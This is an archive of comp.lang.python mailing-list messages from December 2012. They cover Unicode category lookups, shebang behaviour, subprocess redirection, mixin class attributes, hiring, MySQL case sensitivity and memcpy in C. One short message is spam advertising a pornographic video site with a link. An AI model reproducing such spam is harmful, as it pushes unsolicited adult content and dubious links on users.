r('Format', 'Format', 'a format control character'), > > > > > > 'Cn': r('Unassigned', 'Unassigned', > > > > > > 'a reserved unassigned code point or a noncharacter'), > > > > > > 'Co': r('Private Use', 'Private_Use', 'a private-use character'), > > > > > > 'Cs': r('Surrogate', 'Surrogate', 'a surrogate code point'), > > > > > > 'L' : r('Letter', 'Letter', 'Ll | Lm | Lo | Lt | Lu'), > > > > > > 'LC': r('Letter, Cased', 'Cased_Letter', 'Ll | Lt | Lu'), > > > > > > 'Ll': r('Letter, Lowercase', 'Lowercase_Letter', > > > > > > 'a lowercase letter'), > > > > > > 'Lm': r('Letter, Modifier', 'Modifier_Letter', 'a modifier letter'), > > > > > > 'Lo': r('Letter, Other', 'Other_Letter', > > > > > > 'other letters, including syllables and ideographs'), > > > > > > 'Lt': r('Letter, Titlecase', 'Titlecase_Letter', > > > > > > 'a digraphic character, with first part uppercase'), > > > > > > 'Lu': r('Letter, Uppercase', 'Uppercase_Letter', > > > > > > 'an uppercase letter'), > > > > > > 'M' : r('Mark', 'Mark', 'Mc | Me | Mn '), # a.k.a. Combining_Mark > > > > > > 'Mc': r('Mark, Spacing', 'Spacing_Mark', > > > > > > 'a spacing combining mark (positive advance width)'), > > > > > > 'Me': r('Mark, Enclosing', 'Enclosing_Mark', > > > > > > 'an enclosing combining mark'), > > > > > > 'Mn': r('Mark, Nonspacing', 'Nonspacing_Mark', > > > > > > 'a nonspacing combining mark (zero advance width)'), > > > > > > 'N' : r('Number', 'Number', 'Nd | Nl | No'), > > > > > > 'Nd': r('Number, Decimal', 'Decimal_Number', > > > > > > 'a decimal digit'), # a.k.a. digit > > > > > > 'Nl': r('Number, Letter', 'Letter_Number', > > > > > > 'a letterlike numeric character'), > > > > > > 'No': r('Number, Other', 'Other_Number', > > > > > > 'a numeric character of other type'), > > > > > > 'P' : r('Punctuation', 'Punctuation', > > > > > > 'Pc | Pd | Pe | Pf | Pi | Po | Ps'), # a.k.a. punct > > > > > > 'Pc': r('Punctuation, Connector', 'Connector_Punctuation', > > > > > > 'a connecting punctuation mark, like a tie'), > > > > > > 'Pd': r('Punctuation, Dash', 'Dash_Punctuation', > > > > > > 'a dash or hyphen punctuation mark'), > > > > > > 'Pe': r('Punctuation, Close', 'Close_Punctuation', > > > > > > 'a closing punctuation mark (of a pair)'), > > > > > > 'Pf': r('Punctuation, Final', 'Final_Punctuation', > > > > > > 'a final quotation mark'), > > > > > > 'Pi': r('Punctuation, Initial', 'Initial_Punctuation', > > > > > > 'an initial quotation mark'), > > > > > > 'Po': r('Punctuation, Other', 'Other_Punctuation', > > > > > > 'a punctuation mark of other type'), > > > > > > 'Ps': r('Punctuation, Open', 'Open_Punctuation', > > > > > > 'an opening punctuation mark (of a pair)'), > > > > > > 'S' : r('Symbol', 'Symbol', 'Sc | Sk | Sm | So'), > > > > > > 'Sc': r('Symbol, Currency', 'Currency_Symbol', 'a currency sign'), > > > > > > 'Sk': r('Symbol, Modifier', 'Modifier_Symbol', > > > > > > 'a non-letterlike modifier symbol'), > > > > > > 'Sm': r('Symbol, Math', 'Math_Symbol', > > > > > > 'a symbol of mathematical use'), > > > > > > 'So': r('Symbol, Other', 'Other_Symbol', 'a symbol of other type'), > > > > > > 'Z' : r('Separator', 'Separator', 'Zl | Zp | Zs'), > > > > > > 'Zl': r('Separator, Line', 'Line_Separator', > > > > > > 'U+2028 LINE SEPARATOR only'), > > > > > > 'Zp': r('Separator, Paragraph', 'Paragraph_Separator', > > > > > > 'U+2029 PARAGRAPH SEPARATOR only'), > > > > > > 'Zs': r('Separator, Space', 'Space_Separator', > > > > > > 'a space character (of various non-zero widths)'), > > > > > > } > > > > > > > > > > > > del r > > > > > > > > > > > > > > > > > > Usage is then trivially the same as normal dict and attribute access: > > > > > > > > > > > > py> GC['Ps'].desc > > > > > > 'an opening punctuation mark (of a pair)' > > > > > > > > > > > > > Thank you for the improvements. I have some more extra dicts in this way such as: > > http://www.unicode.org/Public/UNIDATA/UnicodeData.txt > > where this general category is begin used. This information is useful when handling Unicode metadata. > > > > I think I will approach both > > http://pypi.python.org/pypi/unicodeblocks/ > > and > > http://pypi.python.org/pypi/unicodescript/ > > to see who will adopt this. > > > > Perhaps it might be in their mutual interest to join their packages to e.g. unicodemetadata or something similar. Extra ideas on this are still welcome. > > > > Thanks for all your help, > > > > Pander > > > > > > > > > > > > > > > > > -- > > > > > > Steven Ah, it will become a feature request for http://docs.python.org/3/library/unicodedata.html From pander.musubi at gmail.com Fri Dec 14 12:37:23 2012 From: pander.musubi at gmail.com (Pander Musubi) Date: Fri, 14 Dec 2012 09:37:23 -0800 (PST) Subject: Where to contribute Unicode General Category encoding/decoding In-Reply-To: References: <50ca6d7f$0$29980$c3e8da3$5496439d@news.astraweb.com> Message-ID: <4cc1acd7-6d19-4c8b-9fe7-6c38f420fb68@googlegroups.com> On Friday, December 14, 2012 5:22:31 PM UTC+1, Pander Musubi wrote: > On Friday, December 14, 2012 2:07:51 PM UTC+1, Pander Musubi wrote: > > > On Friday, December 14, 2012 1:06:23 AM UTC+1, Steven D'Aprano wrote: > > > > > > > On Thu, 13 Dec 2012 07:30:57 -0800, Pander Musubi wrote: > > > > > > > > > > > > > > > > > > > > > > > > > > > > > I was expecting PyPI. Here is the code, please advise on where to submit > > > > > > > > > > > > > > > it: > > > > > > > > > > > > > > > http://pastebin.com/dbzeasyq > > > > > > > > > > > > > > > > > > > > > > > > > > > > If anywhere, either a third-party module, or the unicodedata standard > > > > > > > > > > > > > > library module. > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > Some unanswered questions: > > > > > > > > > > > > > > > > > > > > > > > > > > > > - when would somebody need this function? > > > > > > > > > > > > > > > > > > > When working with Unicode metedata, see below. > > > > > > > > > > > > > > > > > > > > > > > > > > > - why is is called "decodeUnicodeGeneralCategory" when it > > > > > > > > > > > > > > doesn't seem to have anything to do with decoding? > > > > > > > > > > > > It is actually a simple LUT. I like your improvements below. > > > > > > > > > > > > > - why is the parameter "sortable" called sortable, when it > > > > > > > > > > > > > > doesn't seem to have anything to do with sorting? > > > > > > > > > > > > The values return are alphabetically sortable. > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > If this is useful at all, it would be more useful to just expose the data > > > > > > > > > > > > > > as a dict, and forget about an unnecessary wrapper function: > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > from collections import namedtuple > > > > > > > > > > > > > > r = namedtuple("record", "other name desc") # better field names needed! > > > > > > > > > > > > > > > > > > > > > > > > > > > > GC = { > > > > > > > > > > > > > > 'C' : r('Other', 'Other', 'Cc | Cf | Cn | Co | Cs'), > > > > > > > > > > > > > > 'Cc': r('Control', 'Control', > > > > > > > > > > > > > > 'a C0 or C1 control code'), # a.k.a. cntrl > > > > > > > > > > > > > > 'Cf': r('Format', 'Format', 'a format control character'), > > > > > > > > > > > > > > 'Cn': r('Unassigned', 'Unassigned', > > > > > > > > > > > > > > 'a reserved unassigned code point or a noncharacter'), > > > > > > > > > > > > > > 'Co': r('Private Use', 'Private_Use', 'a private-use character'), > > > > > > > > > > > > > > 'Cs': r('Surrogate', 'Surrogate', 'a surrogate code point'), > > > > > > > > > > > > > > 'L' : r('Letter', 'Letter', 'Ll | Lm | Lo | Lt | Lu'), > > > > > > > > > > > > > > 'LC': r('Letter, Cased', 'Cased_Letter', 'Ll | Lt | Lu'), > > > > > > > > > > > > > > 'Ll': r('Letter, Lowercase', 'Lowercase_Letter', > > > > > > > > > > > > > > 'a lowercase letter'), > > > > > > > > > > > > > > 'Lm': r('Letter, Modifier', 'Modifier_Letter', 'a modifier letter'), > > > > > > > > > > > > > > 'Lo': r('Letter, Other', 'Other_Letter', > > > > > > > > > > > > > > 'other letters, including syllables and ideographs'), > > > > > > > > > > > > > > 'Lt': r('Letter, Titlecase', 'Titlecase_Letter', > > > > > > > > > > > > > > 'a digraphic character, with first part uppercase'), > > > > > > > > > > > > > > 'Lu': r('Letter, Uppercase', 'Uppercase_Letter', > > > > > > > > > > > > > > 'an uppercase letter'), > > > > > > > > > > > > > > 'M' : r('Mark', 'Mark', 'Mc | Me | Mn '), # a.k.a. Combining_Mark > > > > > > > > > > > > > > 'Mc': r('Mark, Spacing', 'Spacing_Mark', > > > > > > > > > > > > > > 'a spacing combining mark (positive advance width)'), > > > > > > > > > > > > > > 'Me': r('Mark, Enclosing', 'Enclosing_Mark', > > > > > > > > > > > > > > 'an enclosing combining mark'), > > > > > > > > > > > > > > 'Mn': r('Mark, Nonspacing', 'Nonspacing_Mark', > > > > > > > > > > > > > > 'a nonspacing combining mark (zero advance width)'), > > > > > > > > > > > > > > 'N' : r('Number', 'Number', 'Nd | Nl | No'), > > > > > > > > > > > > > > 'Nd': r('Number, Decimal', 'Decimal_Number', > > > > > > > > > > > > > > 'a decimal digit'), # a.k.a. digit > > > > > > > > > > > > > > 'Nl': r('Number, Letter', 'Letter_Number', > > > > > > > > > > > > > > 'a letterlike numeric character'), > > > > > > > > > > > > > > 'No': r('Number, Other', 'Other_Number', > > > > > > > > > > > > > > 'a numeric character of other type'), > > > > > > > > > > > > > > 'P' : r('Punctuation', 'Punctuation', > > > > > > > > > > > > > > 'Pc | Pd | Pe | Pf | Pi | Po | Ps'), # a.k.a. punct > > > > > > > > > > > > > > 'Pc': r('Punctuation, Connector', 'Connector_Punctuation', > > > > > > > > > > > > > > 'a connecting punctuation mark, like a tie'), > > > > > > > > > > > > > > 'Pd': r('Punctuation, Dash', 'Dash_Punctuation', > > > > > > > > > > > > > > 'a dash or hyphen punctuation mark'), > > > > > > > > > > > > > > 'Pe': r('Punctuation, Close', 'Close_Punctuation', > > > > > > > > > > > > > > 'a closing punctuation mark (of a pair)'), > > > > > > > > > > > > > > 'Pf': r('Punctuation, Final', 'Final_Punctuation', > > > > > > > > > > > > > > 'a final quotation mark'), > > > > > > > > > > > > > > 'Pi': r('Punctuation, Initial', 'Initial_Punctuation', > > > > > > > > > > > > > > 'an initial quotation mark'), > > > > > > > > > > > > > > 'Po': r('Punctuation, Other', 'Other_Punctuation', > > > > > > > > > > > > > > 'a punctuation mark of other type'), > > > > > > > > > > > > > > 'Ps': r('Punctuation, Open', 'Open_Punctuation', > > > > > > > > > > > > > > 'an opening punctuation mark (of a pair)'), > > > > > > > > > > > > > > 'S' : r('Symbol', 'Symbol', 'Sc | Sk | Sm | So'), > > > > > > > > > > > > > > 'Sc': r('Symbol, Currency', 'Currency_Symbol', 'a currency sign'), > > > > > > > > > > > > > > 'Sk': r('Symbol, Modifier', 'Modifier_Symbol', > > > > > > > > > > > > > > 'a non-letterlike modifier symbol'), > > > > > > > > > > > > > > 'Sm': r('Symbol, Math', 'Math_Symbol', > > > > > > > > > > > > > > 'a symbol of mathematical use'), > > > > > > > > > > > > > > 'So': r('Symbol, Other', 'Other_Symbol', 'a symbol of other type'), > > > > > > > > > > > > > > 'Z' : r('Separator', 'Separator', 'Zl | Zp | Zs'), > > > > > > > > > > > > > > 'Zl': r('Separator, Line', 'Line_Separator', > > > > > > > > > > > > > > 'U+2028 LINE SEPARATOR only'), > > > > > > > > > > > > > > 'Zp': r('Separator, Paragraph', 'Paragraph_Separator', > > > > > > > > > > > > > > 'U+2029 PARAGRAPH SEPARATOR only'), > > > > > > > > > > > > > > 'Zs': r('Separator, Space', 'Space_Separator', > > > > > > > > > > > > > > 'a space character (of various non-zero widths)'), > > > > > > > > > > > > > > } > > > > > > > > > > > > > > > > > > > > > > > > > > > > del r > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > Usage is then trivially the same as normal dict and attribute access: > > > > > > > > > > > > > > > > > > > > > > > > > > > > py> GC['Ps'].desc > > > > > > > > > > > > > > 'an opening punctuation mark (of a pair)' > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > Thank you for the improvements. I have some more extra dicts in this way such as: > > > > > > http://www.unicode.org/Public/UNIDATA/UnicodeData.txt > > > > > > where this general category is begin used. This information is useful when handling Unicode metadata. > > > > > > > > > > > > I think I will approach both > > > > > > http://pypi.python.org/pypi/unicodeblocks/ > > > > > > and > > > > > > http://pypi.python.org/pypi/unicodescript/ > > > > > > to see who will adopt this. > > > > > > > > > > > > Perhaps it might be in their mutual interest to join their packages to e.g. unicodemetadata or something similar. Extra ideas on this are still welcome. > > > > > > > > > > > > Thanks for all your help, > > > > > > > > > > > > Pander > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > -- > > > > > > > > > > > > > > Steven > > > > Ah, it will become a feature request for http://docs.python.org/3/library/unicodedata.html Please see: http://bugs.python.org/issue16684 From teddymanal at gmail.com Fri Dec 14 12:55:02 2012 From: teddymanal at gmail.com (teddymanal at gmail.com) Date: Fri, 14 Dec 2012 09:55:02 -0800 (PST) Subject: www spankwire com - Amazing porn video collection In-Reply-To: References: Message-ID: <8bd7ebf9-db4a-4d60-8205-017fdb0a5142@googlegroups.com> On Thursday, July 24, 2008 11:55:04 PM UTC+3, baba... at gmail.com wrote: > www spankwire com > . > > >>>>>>>>>>Best Collection of Spankwire Videos<<<<<< > >>>>>>>>>>>>http://vids365.com/watch.php<<<<<<<<<<< > >>>>>>>>>>>>>>FREE www spankwire VIDEOS<<<<<<<<<<< > > . > www spankwire com From torriem at gmail.com Fri Dec 14 12:59:47 2012 From: torriem at gmail.com (Michael Torrie) Date: Fri, 14 Dec 2012 10:59:47 -0700 Subject: Running a python script under Linux In-Reply-To: <50ca92be$0$29991$c3e8da3$5496439d@news.astraweb.com> References: <50ca92be$0$29991$c3e8da3$5496439d@news.astraweb.com> Message-ID: <50CB6913.7090502@gmail.com> On 12/13/2012 07:45 PM, Steven D'Aprano wrote: > When I call "python some_script.py" from the command line, it runs under > Python 2.7 as I expected. So I give the script a hash-bang line: > > #!/usr/bin/env python > > and run the script directly, but instead of getting Python 2.7, it runs > under Python 2.4 and gives me system errors. > > When I run env directly, it ignores my alias: > > steve at ando ~]$ /usr/bin/env python -V > Python 2.4.3 > > > What am I doing wrong? Hash-bang isn't a shell function; it's a kernel function. There's no reason why a shell setting (alias) would be known to the kernel. Different shells have different ideas about aliases anyway. And the program that the she-bang tells the kernel to run is /usr/bin/env, again something that doesn't have anything to do with the shell. The only thing the shell can communicate to the env program is the environment, including the PATH variable, which env searches. The reason it works this way is that the shell is simply another program that can be replaced. One could make a shell based on python, and it might replace the bash "alias" command with a completely different mechanism. When I was first exposed to Linux, it took me a long time to understand and appreciate how basic commands like ls and env are not part of shell at all, unlike my experience with the DOS and Windows command.com and cmd.exe shells. At first I found this archaic and frustrating. But later I realized the great power of doing things this way. If I didn't like the way ls listed things, I could change it; replace ls easily. I remember seeing TSRs (remember them!) that would hook into command.com and patch it to add or alter command.com commands. The Unix way was definitely cleaner. From conor.robinson at gmail.com Fri Dec 14 13:13:38 2012 From: conor.robinson at gmail.com (py_genetic) Date: Fri, 14 Dec 2012 10:13:38 -0800 (PST) Subject: os.system and subprocess odd behavior Message-ID: Example of the issue for arguments sake: Platform Ubuntu server 12.04LTS, python 2.7 Say file1.txt has "hello world" in it. subprocess.Popen("cat < file1 > file2", shell = True) subprocess.call("cat < file1 > file2", shell = True) os.system("cat < file1 > file2") I'm finding that file2 IS created, but with 0bytes in it, this happens when I try any sort of cmd to the system of the nature where I'm putting the output into a file. I've made sure it isn't a permission issue. The command runs fine from the cmd line and python is being run with super user privileges. Strait from the terminal I get a hello world copy as file2... as expected. I would like python to simply exec the cmd and move on.... I don't want to read and write the stdout ect into python and write it to a file. Any thoughts as to why this creates file2, but no data appears? Is there a better way to do this? Thank you! From mickyhulse.lists at gmail.com Fri Dec 14 14:01:43 2012 From: mickyhulse.lists at gmail.com (Micky Hulse) Date: Fri, 14 Dec 2012 11:01:43 -0800 Subject: OOP noob question: Mixin properties In-Reply-To: <50ca7870$0$29980$c3e8da3$5496439d@news.astraweb.com> References: <50ca7870$0$29980$c3e8da3$5496439d@news.astraweb.com> Message-ID: Hi Steven!!! Thanks so much for the pro help, I really do appreciate it. :) On Thu, Dec 13, 2012 at 4:53 PM, Steven D'Aprano wrote: > Indentation is important. Please don't remove it. I've added it back in > below: Yikes! Sorry about that. I won't do that again in the future. :( Thanks for adding the indentation back. :) > The use of @property here doesn't give you any benefit (except, maybe, if > you are paid by the line of code). Better to just expose the "cache" > attribute directly, and likewise for the others. If, in the future, you > need to turn them into computed properties, you can easily do so. But for > now: Ah, great to know! Thank you for the clarification, I needed that. > class JSONResponseMixin(object): > def __init__(self): > self.cache = False > self.cache_timeout = 86400 > self.cache_key = None > > and you're done. Beautiful! That's nice. Very simple and clean (I had a feeling my @decorator version was getting a bit "wordy"). >> Simply doing this: >> class JSONResponseMixin(object): >> cache = False >> cache_timeout = 86400 # 24 hours. >> cache_key = None >> ...works just as good! Not to mention, it's less verbose. > In my code above, the cache attributes are defined on a per-instance > basis. Each instance will have its own set of three cache* attributes. In > the version directly above, there is a single set of cache* attributes > shared by all JSONResponseMixin instances. Thank you for pointing this out! I had not realized that this was the case. I'm still kinda new to OOP in Python and Python in general (I'm learning it through Django). > Will this make any practical difference? Probably not. Most importantly, > if you write: > instance = Api() # class includes JSONResponseMixin > instance.cache = True > then the assignment to an attribute will create a non-shared per-instance > attribute which overrides the class-level shared attribute. This is > almost certainly the behaviour that you want. So this is a good example > of using class attributes to implement shared default state. Whoa, that's cool! > There is one common place where the use of shared class attributes can > lead to surprising results: if the class attribute is a mutable object > such as a list or a dict, it may not behave the way you expect. That is > because only *assignment* creates a new per-instance attribute: > instance.attribute = "spam spam spam" # overrides the class attribute > while modifying the attribute in place does not: > instance.shared_list.append("spam spam spam") > # every instance of the class will now see the change Exactly the type of details I was hoping to learn. Thank you so much for taking the time to explain things in such detail and easy to understand way. I really appreciate it. :) > Apart from that Gotcha, the use of shared class attributes to implement > default behaviour is perfectly acceptable. Awesome! That's good to know. > I actually prefer a functional response, up to the point where I'm > passing so many arguments to functions that I can't keep track of what's > what. Then I refactor into a class. Ah, well that's good to know. There's a part of me that wants to revert back to passing arguments to self.render_to_response(...); after all, there's only 3 of them. On the flip side, if I hadn't explored other options, I wouldn't have learned anything new. Thanks a billion Steven! I owe you one. Have a great holiday. Cheers, Micky From tavares at fe.up.pt Fri Dec 14 15:34:23 2012 From: tavares at fe.up.pt (tavares at fe.up.pt) Date: Fri, 14 Dec 2012 12:34:23 -0800 (PST) Subject: IV ECCOMAS Thematic Conference VipIMAGE 2013: FIRST ANNOUNCEMENT & CALL FOR CONTRIBUTIONS Message-ID: <319a8a82-2178-4e93-a832-1ac40ec30bf6@googlegroups.com> Dear Colleague, We are pleased to announce the International Conference VipIMAGE 2013 - IV ECCOMAS THEMATIC CONFERENCE ON COMPUTATIONAL VISION AND MEDICAL IMAGE PROCESSING (www.fe.up.pt/~vipimage) to be held October 14-16, 2013, in Melia Madeira Mare Hotel, Madeira Island, Funchal, Portugal. Possible Topics (not limited to) ? Signal and Image Processing ? Computational Vision ? Medical Imaging ? Physics of Medical Imaging ? Tracking and Analysis of Movement ? Simulation and Modeling ? Image Acquisition ? Industrial Applications ? Shape Reconstruction ? Objects Segmentation, Matching, Simulation ? Data Interpolation, Registration, Acquisition and Compression ? 3D Vision ? Virtual Reality ? Visual Inspection ? Software Development for Image Processing and Analysis ? Computer Aided Diagnosis, Surgery, Therapy, and Treatment ? Computational Bioimaging and Visualization ? Telemedicine Systems and their Applications Invited Lecturers ? Daniel Rueckert - Imperial College London, UK ? Dimitris N. Metaxas - Rutgers University, USA ? Durval C. Costa - Champalimaud Foundation, Portugal ? James S Duncan - Yale School of Medicine, USA ? Milan Sonka - The University of Iowa, USA ? Richard Bowden - University of Surrey, UK Thematic Sessions Proposals to organize Thematic Session under the auspicious of VipIMAGE 2013 are welcome. The organizers of the selected thematic sessions will be included in the conference scientific committee and will have a reduced registration fee. Additionally, they will be responsible for the dissemination of their thematic session, may invite expertise researchers to have invited keynotes during their session and will participate in the review process of the submitted contributions. Proposal for Thematic Sessions should be submitted by email to the conference co-chairs (tavares at fe.up.pt, rnatal at fe.up.pt) until March 1, 2013. Publications Proceedings: The proceedings book will be published by the Taylor & Francis Group (www.balkema.nl/instructions.asp) and indexed by Thomson Reuters Conference Proceedings Citation Index, IET Inspect and Elsevier Scopus. Springer Book: A book with 20 invited works from the ones presented in the conference will be published by Springer under the book series ?Lecture Notes in Computational Vision and Biomechanics? (www.springer.com/series/8910). Journal Publication: A dedicated special issue of the Taylor & Francis International Journal ?Computer Methods in Biomechanics and Biomedical Engineering: Imaging & Visualization? (www.tandfonline.com/tciv) will be published with extended versions of the best works presented in the conference. Important dates ? Deadline for Thematic Session Proposals: March 1, 2013 ? Deadline for Extended Abstracts: April 15, 2013 ? Authors Notification: May 1, 2013 ? Deadline for Lectures and Papers: July 1, 2013 We are looking forward to see you in Funchal next October. Kind regards, Jo?o Manuel R. S. Tavares Renato Natal Jorge (conference co-chairs) PS. For further details please have a look in the conference website at: www.fe.up.pt/~vipimage, or the Facebook page at: www.facebook.com/pages/Vipimage/237980719665456 From steve+comp.lang.python at pearwood.info Fri Dec 14 17:47:09 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 14 Dec 2012 22:47:09 GMT Subject: os.system and subprocess odd behavior References: Message-ID: <50cbac6d$0$29991$c3e8da3$5496439d@news.astraweb.com> On Fri, 14 Dec 2012 10:13:38 -0800, py_genetic wrote: > Example of the issue for arguments sake: > > Platform Ubuntu server 12.04LTS, python 2.7 > > Say file1.txt has "hello world" in it. > > subprocess.Popen("cat < file1 > file2", shell = True) > subprocess.call("cat < file1 > file2", shell = True) > os.system("cat < file1 > file2") > > > I'm finding that file2 IS created, but with 0bytes in it, this happens > when I try any sort of cmd to the system of the nature where I'm putting > the output into a file. I cannot confirm this behaviour. It works for me. When I try it, all three code snippets work as expected: [steve at ando ~]$ rm file2 file3 file4 [steve at ando ~]$ cat file1 hello world [steve at ando ~]$ python Python 2.7.2 (default, May 18 2012, 18:25:10) [GCC 4.1.2 20080704 (Red Hat 4.1.2-52)] on linux2 Type "help", "copyright", "credits" or "license" for more information. py> import os, subprocess py> subprocess.Popen("cat < file1 > file2", shell = True) py> subprocess.call("cat < file1 > file3", shell = True) 0 py> os.system("cat < file1 > file4") 0 py> quit() [steve at ando ~]$ cat file2 hello world [steve at ando ~]$ cat file3 hello world [steve at ando ~]$ cat file4 hello world I have run this multiple times, as an unprivileged user, as the root user, and as sudo. It works perfectly every time. Please check your code. Perhaps you have over-simplified the problem. -- Steven From steve+comp.lang.python at pearwood.info Fri Dec 14 17:58:34 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 14 Dec 2012 22:58:34 GMT Subject: What are the minimum requirements to get a job in? References: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> Message-ID: <50cbaf19$0$29991$c3e8da3$5496439d@news.astraweb.com> On Fri, 14 Dec 2012 09:48:54 -0500, Roy Smith wrote: > On the other hand, as somebody who's looking to hire software engineers, > I can tell you that we look at prior experience at Google or Facebook as > a positive thing on a resume. Really? What size company do you work for? Can you offer better pay and conditions than Google or Facebook? If somebody can to me with prior experience at Google or Facebook, my first thought would be "Ah, couldn't cut it with the big boys huh? If you are good enough for Google, what the hell are you doing coming to us?" Of course, that does not necessarily rule them out of contention. I know people who *are* good enough for Google, and left because they were bored, or because they couldn't stand the Google culture, or just wanted to relax with a less high-pressure job for a year or ten. -- Steven From roy at panix.com Fri Dec 14 19:45:40 2012 From: roy at panix.com (Roy Smith) Date: Fri, 14 Dec 2012 19:45:40 -0500 Subject: What are the minimum requirements to get a job in? References: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> <50cbaf19$0$29991$c3e8da3$5496439d@news.astraweb.com> Message-ID: In article <50cbaf19$0$29991$c3e8da3$5496439d at news.astraweb.com>, Steven D'Aprano wrote: > On Fri, 14 Dec 2012 09:48:54 -0500, Roy Smith wrote: > > > On the other hand, as somebody who's looking to hire software engineers, > > I can tell you that we look at prior experience at Google or Facebook as > > a positive thing on a resume. > > Really? What size company do you work for? I believe we're currently 12 full-time employees. > Can you offer better pay and conditions than Google or Facebook? There is no way we can compete with them on salary. Nor do we buy everybody lunch every day, do their laundry, give them haircuts and massages, or walk their dogs. But, we offer the chance to make a difference. Most people at Google or Facebook are cogs in a very large machine. It might be a well-fed, brightly colored, highly profitable machine, but a cog is a cog. > If somebody can to me with prior experience at Google or Facebook, my > first thought would be "Ah, couldn't cut it with the big boys huh? If you > are good enough for Google, what the hell are you doing coming to us?" Wow, you must have a really low opinion of yourself. Part of being at a startup is believing in yourself. Going around thinking, "he/she's too good for us" is not an effective way to screen potential candidates if you're trying to build a successful business. From roy at panix.com Fri Dec 14 19:49:08 2012 From: roy at panix.com (Roy Smith) Date: Fri, 14 Dec 2012 19:49:08 -0500 Subject: What are the minimum requirements to get a job in? References: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> Message-ID: In article , Chris Angelico wrote: > If the boss's vision is anything to go by, we're going to be bigger > than Microsoft, eBay, Facebook, and Google combined, and all by early > 2013. That's the kind of attitude you need to be at a startup. From rosuav at gmail.com Fri Dec 14 19:57:06 2012 From: rosuav at gmail.com (Chris Angelico) Date: Sat, 15 Dec 2012 11:57:06 +1100 Subject: MySQLdb compare lower In-Reply-To: References: <20121214033546.GA23584@cskk.homeip.net> Message-ID: On Sat, Dec 15, 2012 at 8:49 AM, Dennis Lee Bieber wrote: > On Fri, 14 Dec 2012 15:16:54 +1100, Chris Angelico > declaimed the following in gmane.comp.python.general: > >> Yeah, it's one of the things that tripped me up when I did a >> MySQL->PostgreSQL conversion earlier this year. The code was assuming >> case insensitivity, and began failing on PG. Fortunately the simple >> change of LIKE to ILIKE solved that. >> >> I'd MUCH rather be explicit about wanting case insensitivity. I wonder >> who would go insane first if I ran an app using Wine under Linux in a >> directory that's mounted via cifs from a Windows or OS/2 box... (And >> yes, I have that setup, ready to go. Only there's an extra level of >> indirection - I'd run it in an sshfs mount that points to my proxy >> box. Extra safety, keeps messy networking away from my real boxes.) > > I suspect it is a 50/50 proposition. Having case-insensitive > compares is probably easier for the simpler uses of MySQL (the many web > servers configured with MySQL, provided as a convenience for untrained > customers)... They don't have to tell users (on web page input forms) > that search terms are case sensitive, and they don't have to come up > with some code for a means of "logical" casing of input (for example, > searching for a title, where it is common for words like "of", "a", > "and" to be lowercase, but everything else is capitalized). I still don't need to tell users that search terms are case sensitive. Look: http://rosuav.com/1/ Type in a search term, it's not case sensitive! Oh, that's because it uses ILIKE and everything happens correctly. Hmm. I wonder how I'd change that (which is backed by PG) to be case sensitive? Ah! I make it use LIKE instead. How do I make MySQL case sensitive? Declare the column as binary, or as text, but with a different collation. And that affects sorting too. Can you guarantee that you can, for instance, have a column sorted case insensitively and searched case sensitively? It's probably possible, but I wouldn't depend on it without searching the docs - or, more likely, browsing StackOverflow answers. Database defaults are all very well, but it's better to have a safe default that's easily overridden than an enforced state that you have to change configuration to get around. Explicit is better than implicit. ChrisA From tjreedy at udel.edu Fri Dec 14 20:02:45 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Fri, 14 Dec 2012 20:02:45 -0500 Subject: What are the minimum requirements to get a job in? In-Reply-To: References: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> <6d32ee9d-867e-45b1-b2e8-9c14a4f3610e@jj5g2000pbc.googlegroups.com> Message-ID: On 12/14/2012 5:21 PM, Dennis Lee Bieber wrote: > On Fri, 14 Dec 2012 07:05:12 -0800 (PST), rusi > declaimed the following in gmane.comp.python.general: > >> Ideas which were summarized by the great pianist Josef Lhevine as >> follows: >> >> If I dont practice for one day I know it >> If I dont practice for two days my audience knows it >> If I dont practice for three days the critics know it >> > Interesting... One would have thought the critics should have > detected the missing practice before the general audience... Unless that > is supposed to also be a dig on critics being the least knowledgeable > You are right. Critics before audience. And multiple people have been credited with the quote. http://www.barrypopik.com/index.php/new_york_city/entry/miss_one_day_of_practice_i_notice_miss_two_the_critics_notice_miss_three_th/ -- Terry Jan Reedy From cs at zip.com.au Fri Dec 14 21:19:54 2012 From: cs at zip.com.au (Cameron Simpson) Date: Sat, 15 Dec 2012 13:19:54 +1100 Subject: What are the minimum requirements to get a job in? In-Reply-To: <358nc8ltku99uecr224nmplceeln7950og@invalid.netcom.com> References: <358nc8ltku99uecr224nmplceeln7950og@invalid.netcom.com> Message-ID: <20121215021954.GA30240@cskk.homeip.net> On 14Dec2012 16:57, Dennis Lee Bieber wrote: | On Fri, 14 Dec 2012 12:42:27 +0100, Christian Heimes | declaimed the following in | gmane.comp.python.general: | > | > To be fair, memcpy() is a pretty simple function. It can be implemented | > in just about two lines of C code plus five lines of boiler plate. It | > shows, if you have very basic understanding about memory layout and | > pointer arithmetics. | > | > You have to translate something like | > | > def memcpy(dest, src, n): | > for i in xrange(n): | > dest[i] = src[i] | > | > into C code. Here is a rather nonperformance solution. It copies just | > one byte per cycle. A better implementation could copy 4 or 8 bytes at | > once and handle the tail in a switch statement. | > | > void *memcpy(void *dest, const void *src, size_t n) | > { | > char *destptr = (char*)dest; | > char *srcptr = (char*)src; | > while (n--) { | > *destptr++ = *srcptr++; | > } | > return dest; | > } | > | > destptr and srcptr are the memory addresses of a byte (char). *destptr | > is the value at a specific memory location. The code in the loop copies | > the value at address srcptr to the location at destptr and then moves | > both pointers one step to the right (++). That's all. ;) | | That is ignoring the possibility of overlapping source/destination | ranges (in which one may need to copy from the end rather than the | start). If you're going to be picky, memcpy() is not required to allow for that. That allows a high speed implementation. memmove() exists to cover the more general case. -- Cameron Simpson NOTWORK: n. A network when it is acting flaky. Origin (?) IBM. - Hackers' Dictionary From steve+comp.lang.python 